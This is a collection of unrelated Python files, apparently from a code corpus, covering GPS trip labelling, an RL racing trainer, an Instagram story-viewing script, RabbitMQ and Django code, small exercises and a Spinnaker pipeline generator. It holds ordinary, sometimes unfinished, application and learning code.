    if len(dfi) > 1:
        dfi = dfi.sort_values(by = ['Date Time']).reset_index(drop=True)
        dfi['Dist'] = 1
        dfi['Timediff'] = 0
        dfi['Dist'][1:len(dfi)] = [haversine((dfi['Latitude'][x-1],dfi['Longitude'][x-1]),(dfi['Latitude'][x],dfi['Longitude'][x])) for x in dfi['Dist'][1:].index.tolist()]
        dfi['Timediff'][1:len(dfi)] = [(dfi['Date Time'][i] - dfi['Date Time'][i-1]).total_seconds()/3600 for i in range(1,len(dfi))]
        dfi['Remove'] = np.where((dfi.Dist == 0) & (dfi.Timediff == 0),"Duplicate Points","Static Points")

    #Mark them with differet trip label of data
    if len(df) > 1:
      df['Timediff'] = 0
      df['Timediff'][1:len(df)] = [(df['Date Time'][i] - df['Date Time'][i-1]).total_seconds()/3600 for i in range(1,len(df))]
      for i in range(0,len(df)):
          if df.Timediff[i] > bigtau:
              df.TripID[i] = 1
              continue
          else:
              if df.Timediff[i] > tau:
                  if haversine((df['Latitude'][i],df['Longitude'][i]),(df['Latitude'][i-1],df['Longitude'][i-1])) / df.Timediff[i] < speed_trip:
                     df.TripID[i] = 1

      df['TripID'][0:(len(df)-1)] = [np.sum(df['TripID'][0:(i+1)]) for i in range(0,len(df)-1)]
      df['TripID'][len(df)-1] = df['TripID'][len(df)-1] + df['TripID'][len(df)-2]

    dfi = dfi.append(df).reset_index(drop=True)
    df = dfi[["VendorID","IMEI","VehicleNumber","Date Time","Latitude","Latitude_Direction","Longitude","Longitude_Direction","Speed","TripID","SegmentID","Remove","PacketType","PacketStatus","GPSFix","Heading","SatelliteNumber","Altitude","PDOP","Operator","Ignition","MainPowerStatus","EmergencyStatus","TamperAlert","GSMSignal","MCC","MNC","LAC","CellID","DigitalInput","DigitalOutput","FrameNumber"]]

    return df
    #df.to_csv(dir + "\" +"Mark_Point\" + "Label_" + imeifile[0:15]+ ".csv",date_format='%Y-%m-%d %H:%M:%S')

'''
      mark = 0
      i = 1
      j = 0
      while i < len(df):
          if i == len(df) - 1:
              if ((df['Date Time'].loc[i] - df['Date Time'].loc[i - 1]).total_seconds()) / 3600 > tau:
                   df['TripID'].loc[j:i] = mark
                   df['TripID'].loc[i] = -1
              else:
                  df['TripID'].loc[j:len(df)] = mark
              break

          if ((df['Date Time'].loc[i] - df['Date Time'].loc[i - 1]).total_seconds()) / 3600 > tau:
                if i == j + 1:
                    df['TripID'].loc[j] = -1
                    j = i
                    i = i + 1
                else:
                    df['TripID'].loc[j:i] = mark
                    df['TripID'].loc[i] = -1
                    j = i
                    i = i + 1
                    mark = mark + 1
          else:
                i = i + 1
'''

Driver behaviour analytics/Python_script/IMEI Cleaning/Mark_Point.py


import os
import time

import numpy as np
import tensorflow as tf

from cpprb import ReplayBuffer

from agents.tf2rl.experiments.trainer import Trainer
from agents.tf2rl.experiments.utils import save_path, frames_to_gif
from agents.tf2rl.misc.get_replay_buffer import get_replay_buffer, get_default_rb_dict
from agents.tf2rl.misc.discount_cumsum import discount_cumsum

def unpack_state(state):
    """
    state dict to state array if fixed order
    """
    state_array = np.zeros(28)

    state_array[0] = state["speedX"]
    state_array[1] = state["speedY"]
    state_array[2] = state["speedZ"]
    state_array[3] = state["angle"]
    state_array[4] = state["trackPos"]
    state_array[5:9] = state["wheelSpinVel"]
    state_array[9:28] = state["track"]

    return state_array

class OnPolicyTrainer(Trainer):
    def __init__(self, policy, env, args, test_env = None, expert_trajs = None):
        super().__init__(policy, env, args, test_env)
        self.expert_trajs = expert_trajs

    def __call__(self, track_list):

        returns = []
        entropies = []
        steps = []
        for track in track_list:
            # Prepare buffer
            self.replay_buffer = get_replay_buffer(
            self._policy, self._env)
            kwargs_local_buf = get_default_rb_dict(
            size=self._policy.horizon, env=self._env)
            kwargs_local_buf["env_dict"]["logp"] = {}
            kwargs_local_buf["env_dict"]["val"] = {}

            self.local_buffer = ReplayBuffer(**kwargs_local_buf)
            if self.expert_trajs != None:
                expert_trajs_size = self.expert_trajs["action"].shape[0]
                exp_i = 0

            episode_steps = 0
            episode_return = 0
            entropy = 0
            episode_start_time = time.time()
            n_episode = 0
            max_test_return = 0

            total_steps = np.array(0, dtype = np.int32)
            tf.summary.experimental.set_step(total_steps)
            self._env.set_track(track)

            while total_steps < self._max_steps:
                if self.expert_trajs != None and n_episode % 50 == 0:
                    self.logger.info("Training on expert data")
                    for i in range(self._policy.horizon):
                        # use expert data. try to vary agent behaviour
                        act = self.expert_trajs["action"][(exp_i + i) % expert_trajs_size]
                        obs = self.expert_trajs["state"][(exp_i + i) % expert_trajs_size]
                        next_obs = self.expert_trajs["state_new"][(exp_i + i) % expert_trajs_size]
                        reward = self.expert_trajs["reward"][(exp_i + i) % expert_trajs_size]
                        # certain action
                        logp = np.log(1)
                        _, _, val = self._policy.get_action_and_val(obs)
                        # sum of rewards for a whole episode
                        # val = discount_cumsum(self.expert_trajs["reward"][(exp_i + i + 1) % expert_trajs_size:
                        #                 (exp_i + i + self._policy.horizon) % expert_trajs_size], self._policy.discount)[:-1]
                        # val = val[0]
                        self.local_buffer.add(
                            obs = obs, act = act, next_obs = next_obs,
                            rew = reward, done = False, logp = logp, val = val)
                    exp_i += self._policy.horizon
                    n_episode += 1
                else:
                    if total_steps <= 0:
                        obs = self._env.reset()
                        obs = unpack_state(obs)
                    # collect samples
                    for _ in range(self._policy.horizon):
                        if self._normalize_obs:
                            obs = self._obs_normalizer(obs, update=False)
                        # individual_noise to sample actions differently
                        act, logp, val = self._policy.get_action_and_val(obs, individual_noise = False, test = False)

                        # if n_episode % 60 == 0:
                        #     act = self.simple_controller(obs)
                        #     logp = np.log(1)

                        env_act = np.clip(act, self._env.action_space.low, self._env.action_space.high)
                        next_obs, reward, done = self._env.step(env_act)
                        next_obs = unpack_state(next_obs)

                        episode_steps += 1
                        total_steps += 1
                        episode_return += reward

                        done_flag = done
                        if (hasattr(self._env, "_max_episode_steps") and
                            episode_steps == self._env._max_episode_steps):
                            done_flag = False
                        self.local_buffer.add(
                            obs=obs, act=act, next_obs=next_obs,
                            rew=reward, done=done_flag, logp=logp, val=val)
                        obs = next_obs

                        if done or episode_steps == self._episode_max_steps:
                            tf.summary.experimental.set_step(total_steps)
                            self.finish_horizon()
                            obs = self._env.reset()
                            obs = unpack_state(obs)

                            duration = time.time() - episode_start_time
                            fps = episode_steps / (duration)
                            self.logger.info(
                                "Total Epi: {0: 5} Steps: {1: 7} Episode Steps: {2: 5} Return: {3: 5.4f} TIME(s): {4:6.2f} FPS: {5:5.2f}".format(
                                    n_episode + 1, int(total_steps), episode_steps, episode_return, duration, fps))
                            tf.summary.scalar(name="Common/training_return", data=episode_return)
                            tf.summary.scalar(name="Common/training_episode_length", data=episode_steps)
                            tf.summary.scalar(name="Common/fps", data=fps)

                            if n_episode % 60 != 0:
                                returns.append(episode_return)
                                steps.append(episode_steps)

                            n_episode += 1

                            episode_steps = 0
                            episode_return = 0
                            episode_start_time = time.time()

                        if total_steps % self._test_interval == 0:
                            avg_test_return, avg_test_steps = self.evaluate_policy(total_steps)
                            self.logger.info("Evaluation Total Steps: {0: 7} Average Reward {1: 5.4f} over {2: 2} episodes".format(
                                total_steps, avg_test_return, self._test_episodes))
                            tf.summary.scalar(
                                name="Common/average_test_return", data=avg_test_return)
                            tf.summary.scalar(
                                name="Common/average_test_episode_length", data=avg_test_steps)
                            self.writer.flush()

                        if total_steps % self._save_model_interval == 0 and avg_test_return > max_test_return:
                            max_test_return = avg_test_return
                            self.logger.info("Saving checkpoint")
                            self.checkpoint_manager.save()
                    returns.append(episode_return)
                    steps.append(episode_steps)

                self.finish_horizon(last_val=val)

                tf.summary.experimental.set_step(total_steps)

                # Train actor critic
                if self._policy.normalize_adv:
                    samples = self.replay_buffer.get_all_transitions()
                    mean_adv = np.mean(samples["adv"])
                    std_adv = np.std(samples["adv"])
                    # Update normalizer
                    if self._normalize_obs:
                        self._obs_normalizer.experience(samples["obs"])

                actor_loss = 0
                critic_loss = 0
                entropy = 0

                with tf.summary.record_if(total_steps % self._save_summary_interval == 0):
                    for _ in range(self._policy.n_epoch):
                        samples = self.replay_buffer._encode_sample(
                            np.random.permutation(self._policy.horizon))
                        if self._normalize_obs:
                            samples["obs"] = self._obs_normalizer(samples["obs"], update=False)
                        if self._policy.normalize_adv:
                            adv = (samples["adv"] - mean_adv) / (std_adv + 1e-8)
                        else:
                            adv = samples["adv"]
                        for idx in range(int(self._policy.horizon / self._policy.batch_size)):
                            target = slice(idx * self._policy.batch_size,
                                           (idx + 1) * self._policy.batch_size)
                            al, cl, ent = self._policy.train(
                                states=samples["obs"][target],
                                actions=samples["act"][target],
                                advantages=adv[target],
                                logp_olds=samples["logp"][target],
                                returns=samples["ret"][target])
                            actor_loss += al
                            critic_loss += cl
                            entropy += ent
                    actor_loss = actor_loss / (int(self._policy.horizon / self._policy.batch_size) * self._policy.n_epoch)
                    critic_loss = critic_loss / (int(self._policy.horizon / self._policy.batch_size) * self._policy.n_epoch)
                    entropy = entropy / (int(self._policy.horizon / self._policy.batch_size) * self._policy.n_epoch)
                    entropies.append(entropy)
                    self.logger.info("Done {} epochs. Average actor loss {}".format(self._policy.n_epoch, actor_loss, critic_loss))

        tf.summary.flush()
        return returns, steps, entropies

    def finish_horizon(self, last_val=0):
        self.local_buffer.on_episode_end()
        samples = self.local_buffer._encode_sample(
            np.arange(self.local_buffer.get_stored_size()))
        rews = np.append(samples["rew"], last_val)
        vals = np.append(samples["val"], last_val)

        # GAE-Lambda advantage calculation
        deltas = rews[:-1] + self._policy.discount * vals[1:] - vals[:-1]
        if self._policy.enable_gae:
            advs = discount_cumsum(deltas, self._policy.discount * self._policy.lam)
        else:
            advs = deltas

        # Rewards-to-go, to be targets for the value function
        rets = discount_cumsum(rews, self._policy.discount)[:-1]
        self.replay_buffer.add(
            obs=samples["obs"], act=samples["act"], done=samples["done"],
            ret=rets, adv=advs, logp=np.squeeze(samples["logp"]))
        self.local_buffer.clear()

    def evaluate_policy(self, total_steps):
        avg_test_return = 0.
        avg_test_steps = 0
        if self._save_test_path:
            replay_buffer = get_replay_buffer(
                self._policy, self._test_env, size=self._episode_max_steps)
        for i in range(self._test_episodes):
            episode_return = 0.
            frames = []
            obs = self._test_env.reset()
            obs = unpack_state(obs)

            avg_test_steps += 1
            for _ in range(self._episode_max_steps):
                if self._normalize_obs:
                    obs = self._obs_normalizer(obs, update=False)
                act, _ = self._policy.get_action(obs, test=True)
                act = np.clip(act, self._env.action_space.low, self._env.action_space.high)
                next_obs, reward, done = self._test_env.step(act)
                next_obs = unpack_state(next_obs)

                avg_test_steps += 1
                if self._save_test_path:
                    replay_buffer.add(
                        obs=obs, act=act, next_obs=next_obs,
                        rew=reward, done=done)

                if self._save_test_movie:
                    frames.append(self._test_env.render(mode='rgb_array'))
                elif self._show_test_progress:
                    self._test_env.render()
                episode_return += reward
                obs = next_obs
                if done:
                    break
            prefix = "step_{0:08d}_epi_{1:02d}_return_{2:010.4f}".format(
                total_steps, i, episode_return)
            if self._save_test_path:
                save_path(replay_buffer.sample(self._episode_max_steps),
                          os.path.join(self._output_dir, prefix + ".pkl"))
                replay_buffer.clear()
            if self._save_test_movie:
                frames_to_gif(frames, prefix, self._output_dir)
            avg_test_return += episode_return
        if self._show_test_images:
            images = tf.cast(
                tf.expand_dims(np.array(obs).transpose(2, 0, 1), axis=3),
                tf.uint8)
            tf.summary.image('train/input_img', images, )
        return avg_test_return / self._test_episodes, avg_test_steps / self._test_episodes


# --- hussein kaplan --- حسين قبلان
# استدعاء المكتبات المطلوبة
import itertools
from instagrapi import Client
import json
import os
import sys

print(sys.argv[1])
username = sys.argv[1]

def read_file(path_file, object_hook=None):

    with open(path_file, 'r', encoding='utf8') as json_file:
        return json.load(json_file, object_hook=object_hook)

if __name__ == '__main__':
    IG_CREDENTIAL_PATH = "credential.json"
    import os
    cl = None
    if os.path.exists(IG_CREDENTIAL_PATH):
        cl = Client(read_file(IG_CREDENTIAL_PATH))

user_id = cl.user_id_from_username(username)
followers = cl.user_following(user_id)
for item in followers:
    print(item)
    print("--------------------------------")
    chickstory = cl.user_stories(item)
    if chickstory != []:
        stories = cl.user_stories_gql(item)
        for itemttt in stories:
            ab = itertools.chain([itemttt.pk])
            cl.story_seen(list(ab))

مشاهدة ستوريات انستقرام/stories.py


import logging

from pytezos.sandbox.node import SandboxedNodeTestCase
from pytezos.sandbox.parameters import sandbox_addresses
from pytezos.rpc.errors import RpcError

logging.basicConfig(level=logging.DEBUG)

class TransactionCounterTestCase(SandboxedNodeTestCase):

    def test_1_send_multiple_transactions_non_batched(self) -> None:
        client = self.client
        # Only one manager operation per manager per block allowed
        with self.assertRaises(RpcError):
            for _ in range(3):
                client.transaction(destination=sandbox_addresses['bootstrap3'], amount=42) \
                    .autofill(gas_reserve=100000) \
                    .sign() \
                    .inject(min_confirmations=0)

        pending_operations = client.shell.mempool.pending_operations()
        self.assertEqual(1, len(pending_operations['applied']))


#!/usr/bin/env python3

import pika
import logging
from constants import END, CLOSE, OK, OUT_JOINER_EXCHANGE
from rabbitmq_queue import RabbitMQQueue
from watchdog import heartbeatprocess

JOINED_QUEUE = 'joined_hands'
HANDS_EXCHANGE = 'hands'
TERMINATOR_EXCHANGE = 'hands_filter_terminator'
HANDS = ['R', 'L', 'U']

class DifferentHandsFilter:
    def __init__(self):
        self.acked = set()
        self.in_queue = RabbitMQQueue(exchange=OUT_JOINER_EXCHANGE, exchange_type='direct',
                                      consumer=True, queue_name=JOINED_QUEUE,
                                      routing_keys=['filter'])
        self.out_queue = RabbitMQQueue(exchange=HANDS_EXCHANGE, exchange_type='direct')
        self.terminator_queue = RabbitMQQueue(exchange=TERMINATOR_EXCHANGE)

    def run(self, _):
        self.in_queue.consume(self.filter)

    def filter(self, ch, method, properties, body):
        logging.info('Received %r' % body)
        data = body.decode().split(',')
        id = data[0]

        if data[1] == END:
            self.terminator_queue.publish(body)
            logging.info('Sent %r' % body)
            ch.basic_ack(delivery_tag=method.delivery_tag)
            return

        if data[1] == CLOSE:
            if not id in self.acked:
                body = ','.join([data[0], OK])
                self.terminator_queue.publish(body)
                self.acked.add(id)
            else:
                self.in_queue.publish(body)
            logging.info('Sent %s' % body)
            ch.basic_ack(delivery_tag=method.delivery_tag)
            return

        winner_hand = data[4]
        loser_hand = data[8]
        if winner_hand in HANDS and loser_hand != winner_hand:
            body = ','.join([id, '1'])
            self.out_queue.publish(body, winner_hand)
            logging.info('Sent %s to %s accumulator' % (body, winner_hand))
        ch.basic_ack(delivery_tag=method.delivery_tag)

if __name__ == '__main__':
    logging.basicConfig(format='%(asctime)s %(message)s',
                        level=logging.ERROR)

    hb = heartbeatprocess.HeartbeatProcess.setup(DifferentHandsFilter)
    hb.run()


class Contact:

    def __init__(self, name, surname, number, favorite_contact=False, *args, **kwargs):
        self.name = name
        self.surname = surname
        self.number = number
        self.favorite_contact = favorite_contact
        self.args = args
        self.kwargs = kwargs
        for passion in self.args:
            print('-', passion)

    def __str__(self):
        return f'Имя: {self.name}\n'\
               f'Фамилия: {self.surname}\n' \
               f'Номер телефона: {self.number}\n' \
               f'В Избранных: {self.favorite_contact}\n' \
               f'Дополнительная информация: \n\t{self.kwargs}'

jhon = Contact('Jhon', 'Smith', '+71234567809',
               telegram='@jhony', email='jhony@smith.com')
Heisenberg = Contact('Walter', 'White', '+15467770102',
                telegram='@heisenberg', email='walter@white.com')
print(jhon)

class Phonebook:

    def __init__(self, book_name):
        self.contact_list = []
        self.book_name = book_name

    def add_contact(self, contact_inatance):
        self.contact_list.append(contact_inatance)

    def print_contacts(self):
        for contact in self.contact_list:
            print(contact)

    def find_contact(self):
        name_2 = input('Введите имя: ')
        family_2 = input('Введите фамилию: ')
        for contact in self.contact_list:
            if contact.name == name_2:
                if contact.surname == family_2:
                    print(contact)
                else:
                    print('Контакт не найден')
                    break

    def remove_contacts(self):
        rem_contact_number = input('Введите номер контакта для удаления: ')
        for contact in self.contact_list:
            if contact.number == rem_contact_number:
                self.contact_list.remove(contact)
                print(f'Контакст {contact.name} удален')

    def find_priority_numbers(self):
        for contact in self.contact_list:
            if contact.favorite_contact != False:
                print(f'{contact.name}\nИзбранные номера: {contact.favorite_contact}')

MyBook = Phonebook('MyBook')
MyBook.add_contact(jhon)
MyBook.add_contact(Heisenberg)

def main():
    while True:
        print(f'Спмсок доступных функций:\n'
              f'1 - Вывод всех контактов \n'
              f'2 - Поиск контакта по имени и фамилии\n'
              f'3 - Вывод всех избрвнных номеров\n'
              f'4 - Удаление контакта\n'
              f'5 - Выход')
        user_input = input('Введите команду: ')
        if user_input == '1':
            MyBook.print_contacts()
            print(input())
        elif user_input == '2':
            MyBook.find_contact()
            print(input())
        elif user_input == '3':
            MyBook.find_priority_numbers()
            print(input())
        elif user_input == '4':
            MyBook.remove_contacts()
            print(input())
        elif user_input == '5':
            break

if __name__ == '__main__':
    main()


"""

    * Functions *

"""

def is_prime(a):
    #this function returns False if it's not prime and True if it's prime
    if a<=1 or a%2==0 and a!=2:
        return False
    else:
      for d in range (3,a,2):
        if a%d==0:
            return False
    return True

def lowerPrime(n):
    #this function returns the greatest prime numer smaller than a given value (n)
    for i in range (n-1,1,-1):
        if is_prime(i)==True:
            break;
    return i

def test():
    assert lowerPrime(10)==7
    assert lowerPrime(33)==31
    assert lowerPrime(5)==3
    assert lowerPrime(3)==2
"""

    * Program *

"""
n=int(input("Insert a number: "))

test()

if n<2:
    print("Error! Insert a bigger value. There is no prime number smaller then the given value for n.")
elif n==2:
    print("2 is the smallest prime number")
else:
    p=lowerPrime(n)
    print("The greatest prime number samller than ",n," is:",p)


#
import os
import csv

# Set initial values for calculations
total_months = 0
net_total = 0
profit_loss_change = 0
average_change = []
greatest_increase = []
greatest_decrease = []

# Define name for CSV file
csv_path = os.path.join('budget_data.csv')
with open(csv_path, newline="") as financial_records:
    csvreader = csv.reader(financial_records, delimiter=",")

    #
    csv_header = next(csvreader)

    for row in csvreader:
        # Tells me that "row" is the first column
        print(row)
        # Tells me that "row[1] is the second column"
        print(row[1])

        # Add to the total by an increment (+=) of 1
        total_months += 1
        net_total += int(row[1])

    #print(total_months)
    #print(net_total)

    # Cycle through profits/losses column to get the monthly change
    #for i in range(len(row[1])):

        # Take the difference between two months and append to monthly profit change
        #profit_loss_change = (net_total[i+1]-=net_total[i])

print("Financial Analysis")
print("----------------------------")
print(f"Total Months: {total_months}")
print(f"Total: ${net_total}")
#print(f"Average Change: {}")
#print(f"Greatest Increase in Profits: {}")
#print(f"Greatest Decrease in Profits: {}")


import copy
import pickle
import shutil
from pathlib import Path
from typing import Any, Optional, Union

from ..utilities import Strings

class Object(object):
    supported_extensions = [".pkl"]
    type = "object"
    default_extension = ".pkl"
    supported_object_type = None

    def __init__(self,
                 data: Any = None,
                 path: Union[None, Path, str] = None,
                 name: Optional[str] = None):

        self._data = data

        if type(path) == str and path != "":
            self._path = Path(path)
        elif isinstance(path, Path):
            self._path = path
        else:
            self._path = None

        if name is None or name == "":
            if self._path is not None:
                name = self._path.name
            else:
                name = Strings().random_string(16)
        self._name = name

    def __repr__(self):
        return self.to_repr()

    def __str__(self):
        return self.to_str()

    def _lazy_load(self):
        pass

    def to_repr(self) -> str:
        return "<Type: {}>".format(self.type)

    def to_str(self) -> str:
        return "<Type: {}>".format(self.type)

    def to_dict(self) -> dict:
        return {}

    @property
    def data(self) -> Any:
        if self._data is None and self._path is not None:
            self._lazy_load()
        return self._data

    @property
    def name(self) -> str:
        return self._name

    @property
    def path(self) -> Optional[Path]:
        return self._path

    @property
    def extension(self) -> str:
        if isinstance(self._path, Path):
            return self._path.suffix
        return ""

    def save(self,
             path: Path,
             encoding: Optional[str] = 'utf-8',
             indent: Optional[int] = None) -> bool:

        if self.path is not None:
            shutil.copy(self.path, path)
            return True

        if self._data is None:
            path.touch()
            return True

        try:
            with path.open(mode='wb') as file:
                pickle.dump(self._data, file)
        except TypeError:
            path.write_text("Can't pickle this object")
        except AttributeError:
            path.write_text("Can't pickle this object")

        return True

    def clear(self):
        self._data = None

    def copy(self, path: Path) -> bool:
        if self.path is None:
            return self.save(path)
        else:
            shutil.copy(self.path, path)

        return True

    def rename(self, name: str):
        self._name = name

    def get_file_name(self, base_path: Optional[Path] = None) -> Path:
        path = Path(self._name)
        if path.suffix == "":
            path = path.parent.joinpath(self.name + self.default_extension)
        if path.suffix not in self.supported_extensions:
            path = path.parent.joinpath(path.name + self.default_extension)
        if base_path is not None:
            path = base_path.joinpath(path.name)

        return path

    @classmethod
    def load(cls, path: Path, name: Optional[str] = None) -> "Object":
        return cls(path=path, name=cls._get_name(path, name))

    @classmethod
    def is_supported_file(cls, path: Path) -> bool:
        if path.suffix in cls.supported_extensions:
            return True

        return False

    @classmethod
    def is_supported_object(cls, _object: Any) -> bool:
        if cls.supported_object_type is None:
            return False
        if isinstance(_object, cls.supported_object_type):
            return True
        return False

    @classmethod
    def _get_name(cls, path: Path, name: Optional[str] = None) -> str:
        if name is not None:
            return name

        return path.name

    def get(self, data_format: Optional[str] = None) -> Optional[object]:
        return self.data


from rest_framework import serializers
from .models import BasicUser,Address
from shop.models import Wishlist,Cart
from dj_rest_auth.registration.serializers import RegisterSerializer

#from userManager.serializers import BasicUserSerializer,AddressSerializer

class BasicUserSerializer(serializers.ModelSerializer):
	class Meta:
		model = BasicUser
		fields = [
			'id',
			'user',
			'phone',
			'photo',
			'created',
		]

class AddressSerializer(serializers.ModelSerializer):
	class Meta:
		model = Address
		fields = [
			'id',
			'user',
			'line_1',
			'line_2',
			'city',
			'state',
			'country',
			'pincode',
			'created',
		]

	def create(self,validated_data):
		address = Address.objects.create(**validated_data)
		user = self.context.get('user')
		address.user = user
		address.save()
		return address

class CustomRegisterSerializer(RegisterSerializer):
	def custom_signup(self, request, user):
		basic_user = BasicUser(user=user)
		basic_user.save()
		wish_list = Wishlist(user=basic_user)
		wish_list.save()
		cart = Cart(user=basic_user)
		cart.save()


import cv2

cam = cv2.VideoCapture(0)
cam_buffer = []
index = 0
MAX_BUFFER_SIZE = 7

try:
    while True:

         ret, frame = cam.read()

         if not ret:
            print("bad")
            break;

         if len(cam_buffer) < MAX_BUFFER_SIZE:
            cam_buffer.append(frame)
            index = index+1
         else:
            cam_buffer[index] = frame
            index = index+1

         index = index % MAX_BUFFER_SIZE

except KeyboardInterrupt:
    pass

print("closed camera")
cam.release()

for i in range(0,MAX_BUFFER_SIZE):
    while True:
         cv2.imshow('frame {}'.format(i), cam_buffer[i])

         k = cv2.waitKey(1)
         if k%256 == 27:
             cv2.destroyAllWindows()
             break;


import shlex, subprocess
from os import listdir
from os.path import isfile, join

def getstatusoutput(cmd):
    args = shlex.split(cmd)
    p = subprocess.run(cmd)
    return p.returncode, p.stdout

def getApplicationNames():
    spin_cmd = "spin application list | jq -r '.[].name'"
    returnValue, applications = getstatusoutput(spin_cmd)
    assert returnValue==0, "Exit Code is not zero"

    for application in applications.split("\n"):
        yield application

def generatePipeline(env, stack):
    template = open("pipeline.template.json").read()
    rendered_template = template.replace("---ENV---", env)
    rendered_template = rendered_template.replace("---STACKNAME---", stack)
    if env == "develop":
        rendered_template = rendered_template.replace("---PROVIDER---", "ali-develop")
        rendered_template = rendered_template.replace("---BRANCH---", "master")
    elif env == "dev-canary":
        rendered_template = rendered_template.replace("---PROVIDER---", "ali-dev-canary")
        rendered_template = rendered_template.replace("---BRANCH---", "master")
    else:
        rendered_template = rendered_template.replace("---PROVIDER---", env)
        rendered_template = rendered_template.replace("---BRANCH---", "tags")
    return rendered_template

def generatePipelineForAllEnv(stack):
    for env in ["develop", "dev-canary", "staging", "production"]:
        yield generatePipeline(env, stack), env

def savePiplinesToDisk(pipelines, stack):
    dir = "pipelines"
    for pipeline, env in pipelines:
        filename = stack+"_"+env+".json"
        path = dir+"/"+filename
        print("Saving "+path)
        file = open(path,"w")
        file.write(pipeline)
        file.close

def pushSavedPipeline():
    path="pipelines"
    pipelines = [f for f in listdir(path) if isfile(join(path, f))]
    for pipeline in pipelines:
        try:
            print("Pushing %s"%pipeline)
            spin_cmd = "spin pipeline save --file pipelines/%s"%pipeline
            print("Pushing cmd: %s"%spin_cmd)
        #    returnValue, output = getstatusoutput(spin_cmd)
        #    assert returnValue==0, "Exit Code is not zero %s"%output
        #    print(output)
        except Exception as ex:
            print("Exception %s"%ex)

def getExistingPipelines(stack):
    spin_cmd = "spin pipeline list --application %s | jq -r '.[].name'"%stack
    returnValue, existingPipelines = getstatusoutput(spin_cmd)
    assert returnValue==0, "Exit Code is not zero"
    return existingPipelines

def deletePipeline(stack, pipeline):
    spin_cmd = "spin pipeline delete --name %s --application %s"%(pipeline,stack)
    returnValue, output = getstatusoutput(spin_cmd)
    assert returnValue==0, "Exit Code is not zero %s"%output

def deleteIACPipelines(stack):
    for pipeline in getExistingPipelines(stack).split(chr(10)):
        if "iac-" == pipeline.strip()[:4]:
            print("Deleting Pipeline %s"%pipeline)
            deletePipeline(stack, pipeline)

def main():
    for stack in ["frontend", "theme-creation"]:
        print("Stack: ", stack)
        savePiplinesToDisk(generatePipelineForAllEnv(stack), stack)
    pushSavedPipeline()

def clean():
    '''
    Should be run when we want to remove all pipelines created by this code i.e. name starting with iac-
    '''
    for stack in getApplicationNames():
        print("Stack: ", stack)
        deleteIACPipelines(stack)

#lean()
main()